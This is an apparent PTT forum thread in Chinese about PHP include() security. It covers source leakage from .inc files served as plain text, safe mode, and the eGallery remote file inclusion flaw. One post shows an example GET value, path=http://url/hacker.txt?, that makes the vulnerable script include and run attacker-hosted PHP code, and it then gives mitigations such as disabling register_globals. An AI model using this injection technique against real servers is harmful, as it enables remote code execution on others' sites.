Re: [閒聊] 關於安全性
※ 引述《MrMarcus (請勿忘記密碼)》之銘言:
: ※ 引述《chweng ()》之銘言:
: : 沒那麼誇張吧?
: : 就算是去 include 別人的 url,也祇會收到對方處理過後的資料而已,
: : 應該不會接收到對方處理過程中所用的變數。
: : 我剛剛試了一下,應該是沒辦法用這方法讀到才對,
: : 或者我誤會你的意思了?可以請你實作一個看看嗎?
: : 有一種比較常見的情況是,某些程式會以 inc 為副檔名,
: : 但偏偏 server 又忘了把這類檔案的 MIME type 設成 application/x-httpd-php,
: : 導致 server 直接以 text/plain 直接把程式碼全給倒出來…
: : 如果這時候程式中剛好又含有重要資訊的話,就直接被別人看光光了。
: : 不過這時候也不需要 include,直接踹到該 inc 正確的位置就可以了……
: include("http://") 這種方式只能擷取到對方web server執行完後送出的html
: (或者其他格式)內容,這樣是不會抓到對方的PHP原始碼的(除非就像c網友所
: 提到的狀況)。不過include在多人共用的伺服器上面確實有可能把其他使用者
: 的程式碼抓進來,例如在虛擬主機上面,這種狀況是有可能發生的(其他檔案
: 操作的功能也一樣)。PHP對於這個問題有提供一些方式去防止使用者試圖
: 去include/require/fopen()他們不該看到的檔案,請查詢關於safe mode的資料。
: http://www.php.net/manual/en/features.safe-mode.php
eGallery有一個著名的漏洞,他有一個程式用global變數傳遞目錄名稱,然後再
include 目錄名+檔案名.....
結果有人就用這個方法入侵:
在一個遠端網站,放置一個純文字檔案,例如hacker.txt
然後用get的方式對程式傳入相同名稱的變數,例如path=http://url/hacker.txt?
然後當程式include($path."file")時 --> 會變成
include("http://url/hacker.txt?file")........
純文字檔的內容只要包在<?php ?>之間,就會被執行。接下來可以做的事情就多了
所以include還是可能因為這樣出問題的。當然,關掉register_global,嚴格區分
一般變數、get、post、cookie等,就可以盡量避免這個問題。
--
Sapere Aude! 這就是啟蒙運動的口號!
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 60.248.166.83
討論串 (同標題文章)
PHP 近期熱門文章
PTT數位生活區 即時熱門文章